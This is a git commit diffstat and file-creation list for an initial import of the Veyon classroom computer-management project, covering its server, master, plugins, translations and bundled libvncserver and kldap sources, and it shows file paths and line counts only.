.../ultravnc-builtin/vnchooks/CMakeLists.txt | 16 + .../vncserver/ultravnc-builtin/vncntlm.cpp | 31 + .../x11vnc-builtin/BuiltinX11VncServer.cpp | 154 + .../x11vnc-builtin/BuiltinX11VncServer.h | 97 + .../vncserver/x11vnc-builtin/CMakeLists.txt | 284 + .../x11vnc-builtin/X11VncConfiguration.cpp | 35 + .../x11vnc-builtin/X11VncConfiguration.h | 50 + .../X11VncConfigurationWidget.cpp | 47 + .../X11VncConfigurationWidget.h | 50 + .../X11VncConfigurationWidget.ui | 50 + plugins/vncserver/x11vnc-builtin/config.h.in | 305 + .../vncserver/x11vnc-builtin/x11vnc-veyon.c | 7 + project.yml | 19 + server/CMakeLists.txt | 23 + server/src/ComputerControlClient.cpp | 75 + server/src/ComputerControlClient.h | 69 + server/src/ComputerControlServer.cpp | 174 + server/src/ComputerControlServer.h | 98 + server/src/ServerAccessControlManager.cpp | 229 + server/src/ServerAccessControlManager.h | 72 + server/src/ServerAuthenticationManager.cpp | 302 + server/src/ServerAuthenticationManager.h | 72 + server/src/VeyonServerProtocol.cpp | 74 + server/src/VeyonServerProtocol.h | 54 + server/src/VncProxyConnection.cpp | 236 + server/src/VncProxyConnection.h | 86 + server/src/VncProxyConnectionFactory.h | 44 + server/src/VncProxyServer.cpp | 111 + server/src/VncProxyServer.h | 70 + server/src/VncServer.cpp | 141 + server/src/VncServer.h | 53 + server/src/main.cpp | 54 + server/veyon-server.1 | 45 + server/veyon-server.rc.in | 26 + service/CMakeLists.txt | 20 + service/src/main.cpp | 44 + service/veyon-service.1 | 45 + service/veyon-service.rc.in | 25 + service/veyon-service.service.in | 17 + translations/CMakeLists.txt | 64 + translations/ar.ts | 3816 +++++++ translations/ca_ES.ts | 3815 +++++++ translations/cs.ts | 3926 +++++++ translations/de_DE.ts | 3926 +++++++ translations/el.ts | 3815 +++++++ translations/es_ES.ts | 3932 +++++++ translations/fa.ts | 3816 +++++++ translations/fi.ts | 3815 +++++++ translations/fr.ts | 3930 +++++++ translations/he.ts | 3815 +++++++ translations/hu.ts | 3929 +++++++ translations/id_ID.ts | 3820 +++++++ translations/it_IT.ts | 3912 +++++++ translations/ja_JP.ts | 3815 +++++++ translations/ko_KR.ts | 3928 +++++++ translations/lt.ts | 3815 +++++++ translations/lv_LV.ts | 3818 +++++++ translations/mn.ts | 3815 +++++++ translations/nl.ts | 3826 +++++++ translations/nn.ts | 3815 +++++++ translations/no_NO.ts | 3815 +++++++ translations/pl_PL.ts | 3817 +++++++ translations/pt_BR.ts | 3826 +++++++ translations/pt_PT.ts | 3815 +++++++ translations/ru.ts | 3927 +++++++ translations/sk.ts | 3815 +++++++ translations/sl.ts | 3891 +++++++ translations/sv.ts | 3817 +++++++ translations/tr.ts | 3828 +++++++ translations/uk.ts | 3929 +++++++ translations/veyon.ts | 3311 ++++++ translations/zh_CN.ts | 3930 +++++++ translations/zh_TW.ts | 3930 +++++++ worker/CMakeLists.txt | 17 + worker/src/FeatureWorkerManagerConnection.cpp | 78 + worker/src/FeatureWorkerManagerConnection.h | 57 + worker/src/VeyonWorker.cpp | 63 + worker/src/VeyonWorker.h | 48 + worker/src/main.cpp | 51 + worker/veyon-worker.1 | 45 + worker/veyon-worker.rc.in | 25 + 693 files changed, 238518 insertions(+) create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 .mailmap create mode 100644 .tx/config create mode 100644 3rdparty/kldap/.arcconfig create mode 100644 3rdparty/kldap/.gitignore create mode 100644 3rdparty/kldap/CMakeLists.txt create mode 100644 3rdparty/kldap/COPYING.LIB create mode 100644 3rdparty/kldap/KF5LdapConfig.cmake.in create mode 100644 3rdparty/kldap/README.md create mode 100644 3rdparty/kldap/cmake/FindLdap.cmake create mode 100644 3rdparty/kldap/kldap.categories create mode 100644 3rdparty/kldap/kldap.renamecategories create mode 100644 3rdparty/kldap/metainfo.yaml create mode 100644 3rdparty/kldap/src/CMakeLists.txt create mode 100644 3rdparty/kldap/src/Messages.sh create mode 100644 3rdparty/kldap/src/ber.cpp create mode 100644 3rdparty/kldap/src/ber.h create mode 100644 3rdparty/kldap/src/kldap_config.h.cmake create mode 100644 3rdparty/kldap/src/ldapattributeproxymodel.cpp create mode 100644 3rdparty/kldap/src/ldapattributeproxymodel.h create mode 100644 3rdparty/kldap/src/ldapconfigwidget.cpp create mode 100644 3rdparty/kldap/src/ldapconfigwidget.h create mode 100644 3rdparty/kldap/src/ldapconnection.cpp create mode 100644 3rdparty/kldap/src/ldapconnection.h create mode 100644 3rdparty/kldap/src/ldapcontrol.cpp create mode 100644 3rdparty/kldap/src/ldapcontrol.h create mode 100644 3rdparty/kldap/src/ldapdefs.h create mode 100644 3rdparty/kldap/src/ldapdn.cpp create mode 100644 3rdparty/kldap/src/ldapdn.h create mode 100644 3rdparty/kldap/src/ldapmodel.cpp create mode 100644 3rdparty/kldap/src/ldapmodel.h create mode 100644 3rdparty/kldap/src/ldapmodel_p.cpp create mode 100644 3rdparty/kldap/src/ldapmodel_p.h create mode 100644 3rdparty/kldap/src/ldapmodelnode_p.cpp create mode 100644 3rdparty/kldap/src/ldapmodelnode_p.h create mode 100644 3rdparty/kldap/src/ldapobject.cpp create mode 100644 3rdparty/kldap/src/ldapobject.h create mode 100644 3rdparty/kldap/src/ldapoperation.cpp create mode 100644 3rdparty/kldap/src/ldapoperation.h create mode 100644 3rdparty/kldap/src/ldapsearch.cpp create mode 100644 3rdparty/kldap/src/ldapsearch.h create mode 100644 3rdparty/kldap/src/ldapserver.cpp create mode 100644 3rdparty/kldap/src/ldapserver.h create mode 100644 3rdparty/kldap/src/ldapstructureproxymodel.cpp create mode 100644 3rdparty/kldap/src/ldapstructureproxymodel.h create mode 100644 3rdparty/kldap/src/ldapurl.cpp create mode 100644 3rdparty/kldap/src/ldapurl.h create mode 100644 3rdparty/kldap/src/ldif.cpp create mode 100644 3rdparty/kldap/src/ldif.h create mode 100644 3rdparty/kldap/src/w32-ldap-help.h create mode 100644 3rdparty/libvncserver/.appveyor.yml create mode 100644 3rdparty/libvncserver/.gitignore create mode 100644 3rdparty/libvncserver/.travis.yml create mode 100644 3rdparty/libvncserver/AUTHORS create mode 100644 3rdparty/libvncserver/CMakeLists.txt create mode 100644 3rdparty/libvncserver/COPYING create mode 100644 3rdparty/libvncserver/ChangeLog create mode 100644 3rdparty/libvncserver/Doxyfile create mode 100644 3rdparty/libvncserver/NEWS create mode 100644 3rdparty/libvncserver/README.md create mode 100644 3rdparty/libvncserver/TODO create mode 100644 3rdparty/libvncserver/cmake/Modules/FindFFMPEG.cmake create mode 100644 3rdparty/libvncserver/cmake/Modules/FindLZO.cmake create mode 100644 3rdparty/libvncserver/cmake/Modules/FindSDL2.cmake create mode 100644 3rdparty/libvncserver/common/base64.c create mode 100644 3rdparty/libvncserver/common/base64.h create mode 100644 3rdparty/libvncserver/common/d3des.c create mode 100644 3rdparty/libvncserver/common/d3des.h create mode 100644 3rdparty/libvncserver/common/lzoconf.h create mode 100644 3rdparty/libvncserver/common/lzodefs.h create mode 100644 3rdparty/libvncserver/common/md5.c create mode 100644 3rdparty/libvncserver/common/md5.h create mode 100644 3rdparty/libvncserver/common/minilzo.c create mode 100644 3rdparty/libvncserver/common/minilzo.h create mode 100644 3rdparty/libvncserver/common/rfbcrypto.h create mode 100644 3rdparty/libvncserver/common/rfbcrypto_gnutls.c create mode 100644 3rdparty/libvncserver/common/rfbcrypto_included.c create mode 100644 3rdparty/libvncserver/common/rfbcrypto_openssl.c create mode 100644 3rdparty/libvncserver/common/sha-private.h create mode 100644 3rdparty/libvncserver/common/sha.h create mode 100644 3rdparty/libvncserver/common/sha1.c create mode 100644 3rdparty/libvncserver/common/turbojpeg.c create mode 100644 3rdparty/libvncserver/common/turbojpeg.h create mode 100644 3rdparty/libvncserver/common/vncauth.c create mode 100644 3rdparty/libvncserver/common/zywrletemplate.c create mode 100644 3rdparty/libvncserver/deps/sasl-fix-snprintf-macro.patch create mode 100644 3rdparty/libvncserver/libvncclient.pc.cmakein create mode 100644 3rdparty/libvncserver/libvncclient/corre.c create mode 100644 3rdparty/libvncserver/libvncclient/cursor.c create mode 100644 3rdparty/libvncserver/libvncclient/hextile.c create mode 100644 3rdparty/libvncserver/libvncclient/listen.c create mode 100644 3rdparty/libvncserver/libvncclient/rfbproto.c create mode 100644 3rdparty/libvncserver/libvncclient/rre.c create mode 100644 3rdparty/libvncserver/libvncclient/sasl.c create mode 100644 3rdparty/libvncserver/libvncclient/sasl.h create mode 100644 3rdparty/libvncserver/libvncclient/sockets.c create mode 100644 3rdparty/libvncserver/libvncclient/tight.c create mode 100644 3rdparty/libvncserver/libvncclient/tls.h create mode 100644 3rdparty/libvncserver/libvncclient/tls_gnutls.c create mode 100644 3rdparty/libvncserver/libvncclient/tls_none.c create mode 100644 3rdparty/libvncserver/libvncclient/tls_openssl.c create mode 100644 3rdparty/libvncserver/libvncclient/trle.c create mode 100644 3rdparty/libvncserver/libvncclient/ultra.c create mode 100644 3rdparty/libvncserver/libvncclient/vncviewer.c create mode 100644 3rdparty/libvncserver/libvncclient/zlib.c create mode 100644 3rdparty/libvncserver/libvncclient/zrle.c create mode 100644 3rdparty/libvncserver/rfb/default8x16.h create mode 100644 3rdparty/libvncserver/rfb/keysym.h create mode 100644 3rdparty/libvncserver/rfb/rfb.h create mode 100644 3rdparty/libvncserver/rfb/rfbclient.h create mode 100644 3rdparty/libvncserver/rfb/rfbconfig.h.cmakein create mode 100644 3rdparty/libvncserver/rfb/rfbproto.h create mode 100644 3rdparty/libvncserver/rfb/rfbregion.h create mode 100644 3rdparty/libvncserver/test/blooptest.c create mode 100644 3rdparty/libvncserver/test/bmp.c create mode 100644 3rdparty/libvncserver/test/bmp.h create mode 100644 3rdparty/libvncserver/test/cargstest.c create mode 100644 3rdparty/libvncserver/test/copyrecttest.c create mode 100644 3rdparty/libvncserver/test/cursortest.c create mode 100644 3rdparty/libvncserver/test/encodingstest.c create mode 100644 3rdparty/libvncserver/test/tjbench.c create mode 100644 3rdparty/libvncserver/test/tjunittest.c create mode 100644 3rdparty/libvncserver/test/tjutil.c create mode 100644 3rdparty/libvncserver/test/tjutil.h create mode 100755 3rdparty/libvncserver/test/wsmaketestframe.py create mode 100644 3rdparty/libvncserver/test/wstest.c create mode 100644 3rdparty/libvncserver/test/wstestdata.inc create mode 100644 CMakeLists.txt create mode 100644 CONTRIBUTORS create mode 100644 COPYING create mode 100644 INSTALL create mode 100644 README.md create mode 100644 cmake/CPackDefinitions.cmake create mode 100644 cmake/modules/BuildPlugin.cmake create mode 100644 cmake/modules/COPYING-CMAKE-SCRIPTS create mode 100644 cmake/modules/CotireVeyon.cmake create mode 100644 cmake/modules/FindLZO.cmake create mode 100644 cmake/modules/FindLdap.cmake create mode 100644 cmake/modules/FindPAM.cmake create mode 100644 cmake/modules/FindQCA.cmake create mode 100644 cmake/modules/WindowsBuildHelpers.cmake create mode 100644 cmake/modules/XdgInstall.cmake create mode 100644 cmake/modules/cotire.cmake create mode 100644 configurator/CMakeLists.txt create mode 100644 configurator/data/io.veyon.veyon-configurator.policy.in create mode 100644 configurator/data/veyon-configurator.desktop.in create mode 100644 configurator/data/veyon-configurator.png create mode 100644 configurator/data/veyon-configurator.svg create mode 100644 configurator/data/veyon-configurator.xpm create mode 100644 configurator/forms/AccessControlPage.ui create mode 100644 configurator/forms/AccessControlRuleEditDialog.ui create mode 100644 configurator/forms/AccessControlRulesTestDialog.ui create mode 100644 configurator/forms/GeneralConfigurationPage.ui create mode 100644 configurator/forms/MainWindow.ui create mode 100644 configurator/forms/MasterConfigurationPage.ui create mode 100644 configurator/forms/ServiceConfigurationPage.ui create mode 100644 configurator/resources/access-rule-ask.png create mode 100644 configurator/resources/application-x-ms-dos-executable.png create mode 100644 configurator/resources/application-x-sharedlib.png create mode 100644 configurator/resources/configure-shortcuts.png create mode 100644 configurator/resources/dialog-ok-apply.png create mode 100644 configurator/resources/document-edit.png create mode 100644 configurator/resources/go-down.png create mode 100644 configurator/resources/go-next.png create mode 100644 configurator/resources/go-previous.png create mode 100644 configurator/resources/go-up.png create mode 100644 configurator/resources/help-about.png create mode 100644 configurator/resources/media-playback-start.png create mode 100644 configurator/resources/media-playback-stop.png create mode 100644 configurator/resources/network-vpn.png create mode 100644 configurator/resources/vcs-conflicting.png create mode 100644 configurator/resources/vcs-normal.png create mode 100644 configurator/resources/vcs-removed.png create mode 100644 configurator/resources/veyon-configurator.png create mode 100644 configurator/src/AccessControlPage.cpp create mode 100644 configurator/src/AccessControlPage.h create mode 100644 configurator/src/AccessControlRuleEditDialog.cpp create mode 100644 configurator/src/AccessControlRuleEditDialog.h create mode 100644 configurator/src/AccessControlRuleListModel.cpp create mode 100644 configurator/src/AccessControlRuleListModel.h create mode 100644 configurator/src/AccessControlRulesTestDialog.cpp create mode 100644 configurator/src/AccessControlRulesTestDialog.h create mode 100644 configurator/src/ConfigurationTestController.cpp create mode 100644 configurator/src/ConfigurationTestController.h create mode 100644 configurator/src/GeneralConfigurationPage.cpp create mode 100644 configurator/src/GeneralConfigurationPage.h create mode 100644 configurator/src/MainWindow.cpp create mode 100644 configurator/src/MainWindow.h create mode 100644 configurator/src/MasterConfigurationPage.cpp create mode 100644 configurator/src/MasterConfigurationPage.h create mode 100644 configurator/src/ServiceConfigurationPage.cpp create mode 100644 configurator/src/ServiceConfigurationPage.h create mode 100644 configurator/src/main.cpp create mode 100644 configurator/veyon-configurator.1 create mode 100644 configurator/veyon-configurator.qrc create mode 100644 configurator/veyon-configurator.rc.in create mode 100644 core/CMakeLists.txt create mode 100644 core/builddata.qrc.in create mode 100644 core/core.qrc create mode 100644 core/dialogs/AboutDialog.ui create mode 100644 core/dialogs/PasswordDialog.ui create mode 100644 core/include/AboutDialog.h create mode 100644 core/include/AccessControlProvider.h create mode 100644 core/include/AccessControlRule.h create mode 100644 core/include/AuthenticationCredentials.h create mode 100644 core/include/BuiltinFeatures.h create mode 100644 core/include/CommandLineIO.h create mode 100644 core/include/CommandLinePluginInterface.h create mode 100644 core/include/Computer.h create mode 100644 core/include/ComputerControlInterface.h create mode 100644 core/include/Configuration/JsonStore.h create mode 100644 core/include/Configuration/LocalStore.h create mode 100644 core/include/Configuration/Object.h create mode 100644 core/include/Configuration/Proxy.h create mode 100644 core/include/Configuration/Store.h create mode 100644 core/include/Configuration/UiMapping.h create mode 100644 core/include/ConfigurationManager.h create mode 100644 core/include/ConfigurationPage.h create mode 100644 core/include/ConfigurationPagePluginInterface.h create mode 100644 core/include/Cotire.h create mode 100644 core/include/CryptoCore.h create mode 100644 core/include/DesktopAccessDialog.h create mode 100644 core/include/Feature.h create mode 100644 core/include/FeatureControl.h create mode 100644 core/include/FeatureManager.h create mode 100644 core/include/FeatureMessage.h create mode 100644 core/include/FeatureProviderInterface.h create mode 100644 core/include/FeatureWorkerManager.h create mode 100644 core/include/FileSystemBrowser.h create mode 100644 core/include/Filesystem.h create mode 100644 core/include/InternetAccessControlBackendInterface.h create mode 100644 core/include/KeyboardShortcutTrapper.h create mode 100644 core/include/LockWidget.h create mode 100644 core/include/Logger.h create mode 100644 core/include/MonitoringMode.h create mode 100644 core/include/NetworkObject.h create mode 100644 core/include/NetworkObjectDirectory.h create mode 100644 core/include/NetworkObjectDirectoryManager.h create mode 100644 core/include/NetworkObjectDirectoryPluginInterface.h create mode 100644 core/include/NetworkObjectModel.h create mode 100644 core/include/ObjectManager.h create mode 100644 core/include/PasswordDialog.h create mode 100644 core/include/PlatformCoreFunctions.h create mode 100644 core/include/PlatformFilesystemFunctions.h create mode 100644 core/include/PlatformInputDeviceFunctions.h create mode 100644 core/include/PlatformNetworkFunctions.h create mode 100644 core/include/PlatformPluginInterface.h create mode 100644 core/include/PlatformPluginManager.h create mode 100644 core/include/PlatformServiceCore.h create mode 100644 core/include/PlatformServiceFunctions.h create mode 100644 core/include/PlatformUserFunctions.h create mode 100644 core/include/Plugin.h create mode 100644 core/include/PluginInterface.h create mode 100644 core/include/PluginManager.h create mode 100644 core/include/ProgressWidget.h create mode 100644 core/include/QtCompat.h create mode 100644 core/include/RfbVeyonAuth.h create mode 100644 core/include/Screenshot.h create mode 100644 core/include/ServiceControl.h create mode 100644 core/include/SimpleFeatureProvider.h create mode 100644 core/include/SocketDevice.h create mode 100644 core/include/SystemTrayIcon.h create mode 100644 core/include/ToolButton.h create mode 100644 core/include/UserGroupsBackendInterface.h create mode 100644 core/include/UserGroupsBackendManager.h create mode 100644 core/include/UserSessionControl.h create mode 100644 core/include/VariantArrayMessage.h create mode 100644 core/include/VariantStream.h create mode 100644 core/include/VeyonConfiguration.h create mode 100644 core/include/VeyonConfigurationProperties.h create mode 100644 core/include/VeyonConnection.h create mode 100644 core/include/VeyonCore.h create mode 100644 core/include/VeyonMasterInterface.h create mode 100644 core/include/VeyonRfbExt.h create mode 100644 core/include/VeyonServerInterface.h create mode 100644 core/include/VeyonServiceControl.h create mode 100644 core/include/VeyonWorkerInterface.h create mode 100644 core/include/VncClientProtocol.h create mode 100644 core/include/VncConnection.h create mode 100644 core/include/VncServerClient.h create mode 100644 core/include/VncServerPluginInterface.h create mode 100644 core/include/VncServerProtocol.h create mode 100644 core/include/VncView.h create mode 100644 core/include/veyonconfig.h.in create mode 100644 core/resources/application-x-pem-key.png create mode 100644 core/resources/default-pkey.pem create mode 100644 core/resources/document-open.png create mode 100644 core/resources/document-save.png create mode 100644 core/resources/edit-delete.png create mode 100644 core/resources/help-about.png create mode 100644 core/resources/icon128.png create mode 100644 core/resources/icon16.png create mode 100644 core/resources/icon22.png create mode 100644 core/resources/icon32.png create mode 100644 core/resources/icon64.png create mode 100644 core/resources/languages.png create mode 100644 core/resources/license.png create mode 100644 core/resources/list-add.png create mode 100644 core/resources/presentation-none.png create mode 100644 core/resources/system-suspend-hibernate.png create mode 100644 core/resources/toolbar-background.png create mode 100644 core/resources/user-group-new.png create mode 100644 core/resources/watch1.png create mode 100644 core/resources/watch10.png create mode 100644 core/resources/watch11.png create mode 100644 core/resources/watch12.png create mode 100644 core/resources/watch13.png create mode 100644 core/resources/watch14.png create mode 100644 core/resources/watch15.png create mode 100644 core/resources/watch16.png create mode 100644 core/resources/watch2.png create mode 100644 core/resources/watch3.png create mode 100644 core/resources/watch4.png create mode 100644 core/resources/watch5.png create mode 100644 core/resources/watch6.png create mode 100644 core/resources/watch7.png create mode 100644 core/resources/watch8.png create mode 100644 core/resources/watch9.png create mode 100644 core/src/AboutDialog.cpp create mode 100644 core/src/AccessControlProvider.cpp create mode 100644 core/src/AccessControlRule.cpp create mode 100644 core/src/AuthenticationCredentials.cpp create mode 100644 core/src/BuiltinFeatures.cpp create mode 100644 core/src/CommandLineIO.cpp create mode 100644 core/src/Computer.cpp create mode 100644 core/src/ComputerControlInterface.cpp create mode 100644 core/src/Configuration/JsonStore.cpp create mode 100644 core/src/Configuration/LocalStore.cpp create mode 100644 core/src/Configuration/Object.cpp create mode 100644 core/src/ConfigurationManager.cpp create mode 100644 core/src/ConfigurationPage.cpp create mode 100644 core/src/CryptoCore.cpp create mode 100644 core/src/DesktopAccessDialog.cpp create mode 100644 core/src/FeatureControl.cpp create mode 100644 core/src/FeatureManager.cpp create mode 100644 core/src/FeatureMessage.cpp create mode 100644 core/src/FeatureWorkerManager.cpp create mode 100644 core/src/FileSystemBrowser.cpp create mode 100644 core/src/Filesystem.cpp create mode 100644 core/src/LockWidget.cpp create mode 100644 core/src/Logger.cpp create mode 100644 core/src/MonitoringMode.cpp create mode 100644 core/src/NetworkObject.cpp create mode 100644 core/src/NetworkObjectDirectory.cpp create mode 100644 core/src/NetworkObjectDirectoryManager.cpp create mode 100644 core/src/PasswordDialog.cpp create mode 100644 core/src/PlatformPluginManager.cpp create mode 100644 core/src/PlatformServiceCore.cpp create mode 100644 core/src/PluginManager.cpp create mode 100644 core/src/ProgressWidget.cpp create mode 100644 core/src/QtCompat.cpp create mode 100644 core/src/Screenshot.cpp create mode 100644 core/src/ServiceControl.cpp create mode 100644 core/src/SimpleFeatureProvider.cpp create mode 100644 core/src/SystemTrayIcon.cpp create mode 100644 core/src/ToolButton.cpp create mode 100644 core/src/UserGroupsBackendManager.cpp create mode 100644 core/src/UserSessionControl.cpp create mode 100644 core/src/VariantArrayMessage.cpp create mode 100644 core/src/VariantStream.cpp create mode 100644 core/src/VeyonConfiguration.cpp create mode 100644 core/src/VeyonConnection.cpp create mode 100644 core/src/VeyonCore.cpp create mode 100644 core/src/VeyonServiceControl.cpp create mode 100644 core/src/VncClientProtocol.cpp create mode 100644 core/src/VncConnection.cpp create mode 100644 core/src/VncServerProtocol.cpp create mode 100644 core/src/VncView.cpp create mode 100644 ctl/CMakeLists.txt create mode 100644 ctl/src/main.cpp create mode 100644 ctl/veyon-ctl.1 create mode 100644 ctl/veyon-ctl.rc.in create mode 100644 master/CMakeLists.txt create mode 100644 master/data/veyon-master.desktop.in create mode 100644 master/data/veyon-master.png create mode 100644 master/data/veyon-master.svg create mode 100644 master/data/veyon-master.xpm create mode 100644 master/forms/ComputerManagementView.ui create mode 100644 master/forms/ComputerMonitoringView.ui create mode 100644 master/forms/MainWindow.ui create mode 100644 master/forms/RoomSelectionDialog.ui create mode 100644 master/forms/ScreenshotManagementView.ui create mode 100644 master/master.qrc create mode 100644 master/resources/align-grid.png create mode 100644 master/resources/applications-education.png create mode 100644 master/resources/camera-photo.png create mode 100644 master/resources/edit-find.png create mode 100644 master/resources/exchange-positions-zorder.png create mode 100644 master/resources/powered-on.png create mode 100644 master/resources/preferences-desktop-display-blue.png create mode 100644 master/resources/preferences-desktop-display-gray.png create mode 100644 master/resources/preferences-desktop-display-orange.png create mode 100644 master/resources/preferences-desktop-display-red.png create mode 100644 master/resources/preferences-desktop-display.png create mode 100644 master/resources/splash.png create mode 100644 master/resources/zoom-fit-best.png create mode 100644 master/src/CheckableItemProxyModel.cpp create mode 100644 master/src/CheckableItemProxyModel.h create mode 100644 master/src/ComputerControlListModel.cpp create mode 100644 master/src/ComputerControlListModel.h create mode 100644 master/src/ComputerManagementView.cpp create mode 100644 master/src/ComputerManagementView.h create mode 100644 master/src/ComputerManager.cpp create mode 100644 master/src/ComputerManager.h create mode 100644 master/src/ComputerMonitoringView.cpp create mode 100644 master/src/ComputerMonitoringView.h create mode 100644 master/src/ComputerSortFilterProxyModel.cpp create mode 100644 master/src/ComputerSortFilterProxyModel.h create mode 100644 master/src/FlexibleListView.cpp create mode 100644 master/src/FlexibleListView.h create mode 100644 master/src/MainToolBar.cpp create mode 100644 master/src/MainToolBar.h create mode 100644 master/src/MainWindow.cpp create mode 100644 master/src/MainWindow.h create mode 100644 master/src/NetworkObjectFilterProxyModel.cpp create mode 100644 master/src/NetworkObjectFilterProxyModel.h create mode 100644 master/src/NetworkObjectOverlayDataModel.cpp create mode 100644 master/src/NetworkObjectOverlayDataModel.h create mode 100644 master/src/NetworkObjectTreeModel.cpp create mode 100644 master/src/NetworkObjectTreeModel.h create mode 100644 master/src/RecursiveFilterProxyModel.cpp create mode 100644 master/src/RecursiveFilterProxyModel.h create mode 100644 master/src/RoomSelectionDialog.cpp create mode 100644 master/src/RoomSelectionDialog.h create mode 100644 master/src/ScreenshotManagementView.cpp create mode 100644 master/src/ScreenshotManagementView.h create mode 100644 master/src/UserConfig.cpp create mode 100644 master/src/UserConfig.h create mode 100644 master/src/VeyonMaster.cpp create mode 100644 master/src/VeyonMaster.h create mode 100644 master/src/main.cpp create mode 100644 master/veyon-master.1 create mode 100644 master/veyon-master.rc.in create mode 100644 plugins/CMakeLists.txt create mode 100644 plugins/authkeys/AuthKeysConfigurationPage.cpp create mode 100644 plugins/authkeys/AuthKeysConfigurationPage.h create mode 100644 plugins/authkeys/AuthKeysConfigurationPage.ui create mode 100644 plugins/authkeys/AuthKeysManager.cpp create mode 100644 plugins/authkeys/AuthKeysManager.h create mode 100644 plugins/authkeys/AuthKeysPlugin.cpp create mode 100644 plugins/authkeys/AuthKeysPlugin.h create mode 100644 plugins/authkeys/AuthKeysTableModel.cpp create mode 100644 plugins/authkeys/AuthKeysTableModel.h create mode 100644 plugins/authkeys/CMakeLists.txt create mode 100644 plugins/authkeys/authkeys.qrc create mode 100644 plugins/builtindirectory/BuiltinDirectory.cpp create mode 100644 plugins/builtindirectory/BuiltinDirectory.h create mode 100644 plugins/builtindirectory/BuiltinDirectoryConfiguration.cpp create mode 100644 plugins/builtindirectory/BuiltinDirectoryConfiguration.h create mode 100644 plugins/builtindirectory/BuiltinDirectoryConfigurationPage.cpp create mode 100644 plugins/builtindirectory/BuiltinDirectoryConfigurationPage.h create mode 100644 plugins/builtindirectory/BuiltinDirectoryConfigurationPage.ui create mode 100644 plugins/builtindirectory/BuiltinDirectoryPlugin.cpp create mode 100644 plugins/builtindirectory/BuiltinDirectoryPlugin.h create mode 100644 plugins/builtindirectory/CMakeLists.txt create mode 100644 plugins/builtindirectory/application-msonenote.png create mode 100644 plugins/builtindirectory/builtindirectory.qrc create mode 100644 plugins/config/CMakeLists.txt create mode 100644 plugins/config/ConfigCommandLinePlugin.cpp create mode 100644 plugins/config/ConfigCommandLinePlugin.h create mode 100644 plugins/demo/CMakeLists.txt create mode 100644 plugins/demo/DemoClient.cpp create mode 100644 plugins/demo/DemoClient.h create mode 100644 plugins/demo/DemoConfiguration.cpp create mode 100644 plugins/demo/DemoConfiguration.h create mode 100644 plugins/demo/DemoConfigurationPage.cpp create mode 100644 plugins/demo/DemoConfigurationPage.h create mode 100644 plugins/demo/DemoConfigurationPage.ui create mode 100644 plugins/demo/DemoFeaturePlugin.cpp create mode 100644 plugins/demo/DemoFeaturePlugin.h create mode 100644 plugins/demo/DemoServer.cpp create mode 100644 plugins/demo/DemoServer.h create mode 100644 plugins/demo/DemoServerConnection.cpp create mode 100644 plugins/demo/DemoServerConnection.h create mode 100644 plugins/demo/DemoServerProtocol.cpp create mode 100644 plugins/demo/DemoServerProtocol.h create mode 100644 plugins/demo/demo.qrc create mode 100644 plugins/demo/presentation-fullscreen.png create mode 100644 plugins/demo/presentation-window.png create mode 100644 plugins/demo/window-duplicate.png create mode 100644 plugins/desktopservices/CMakeLists.txt create mode 100644 plugins/desktopservices/DesktopServiceObject.cpp create mode 100644 plugins/desktopservices/DesktopServiceObject.h create mode 100644 plugins/desktopservices/DesktopServicesConfiguration.cpp create mode 100644 plugins/desktopservices/DesktopServicesConfiguration.h create mode 100644 plugins/desktopservices/DesktopServicesConfigurationPage.cpp create mode 100644 plugins/desktopservices/DesktopServicesConfigurationPage.h create mode 100644 plugins/desktopservices/DesktopServicesConfigurationPage.ui create mode 100644 plugins/desktopservices/DesktopServicesFeaturePlugin.cpp create mode 100644 plugins/desktopservices/DesktopServicesFeaturePlugin.h create mode 100644 plugins/desktopservices/RunProgramDialog.cpp create mode 100644 plugins/desktopservices/RunProgramDialog.h create mode 100644 plugins/desktopservices/RunProgramDialog.ui create mode 100644 plugins/desktopservices/desktop-services.png create mode 100644 plugins/desktopservices/desktopservices.qrc create mode 100644 plugins/desktopservices/internet-web-browser.png create mode 100644 plugins/desktopservices/preferences-desktop-launch-feedback.png create mode 100644 plugins/ldap/CMakeLists.txt create mode 100644 plugins/ldap/KLdapIntegration.cpp create mode 100644 plugins/ldap/KLocalizedString create mode 100644 plugins/ldap/LdapConfiguration.cpp create mode 100644 plugins/ldap/LdapConfiguration.h create mode 100644 plugins/ldap/LdapConfigurationPage.cpp create mode 100644 plugins/ldap/LdapConfigurationPage.h create mode 100644 plugins/ldap/LdapConfigurationPage.ui create mode 100644 plugins/ldap/LdapDirectory.cpp create mode 100644 plugins/ldap/LdapDirectory.h create mode 100644 plugins/ldap/LdapNetworkObjectDirectory.cpp create mode 100644 plugins/ldap/LdapNetworkObjectDirectory.h create mode 100644 plugins/ldap/LdapPlugin.cpp create mode 100644 plugins/ldap/LdapPlugin.h create mode 100644 plugins/ldap/application-x-kexi-connectiondata.png create mode 100644 plugins/ldap/computer.png create mode 100644 plugins/ldap/configure.png create mode 100644 plugins/ldap/dialog-ok-apply.png create mode 100644 plugins/ldap/distribute-vertical-margin.png create mode 100644 plugins/ldap/kldap_export.h create mode 100644 plugins/ldap/klocalizedstring.h create mode 100644 plugins/ldap/ldap.qrc create mode 100644 plugins/ldap/ldap_debug.h create mode 100644 plugins/ldap/user-group-properties.png create mode 100644 plugins/platform/CMakeLists.txt create mode 100644 plugins/platform/linux/CMakeLists.txt create mode 100644 plugins/platform/linux/LinuxCoreFunctions.cpp create mode 100644 plugins/platform/linux/LinuxCoreFunctions.h create mode 100644 plugins/platform/linux/LinuxDesktopIntegration.h create mode 100644 plugins/platform/linux/LinuxFilesystemFunctions.cpp create mode 100644 plugins/platform/linux/LinuxFilesystemFunctions.h create mode 100644 plugins/platform/linux/LinuxInputDeviceFunctions.cpp create mode 100644 plugins/platform/linux/LinuxInputDeviceFunctions.h create mode 100644 plugins/platform/linux/LinuxKeyboardShortcutTrapper.h create mode 100644 plugins/platform/linux/LinuxNetworkFunctions.cpp create mode 100644 plugins/platform/linux/LinuxNetworkFunctions.h create mode 100644 plugins/platform/linux/LinuxPlatformPlugin.cpp create mode 100644 plugins/platform/linux/LinuxPlatformPlugin.h create mode 100644 plugins/platform/linux/LinuxServiceCore.cpp create mode 100644 plugins/platform/linux/LinuxServiceCore.h create mode 100644 plugins/platform/linux/LinuxServiceFunctions.cpp create mode 100644 plugins/platform/linux/LinuxServiceFunctions.h create mode 100644 plugins/platform/linux/LinuxUserFunctions.cpp create mode 100644 plugins/platform/linux/LinuxUserFunctions.h create mode 100644 plugins/platform/linux/auth-helper/CMakeLists.txt create mode 100644 plugins/platform/linux/auth-helper/VeyonAuthHelper.cpp create mode 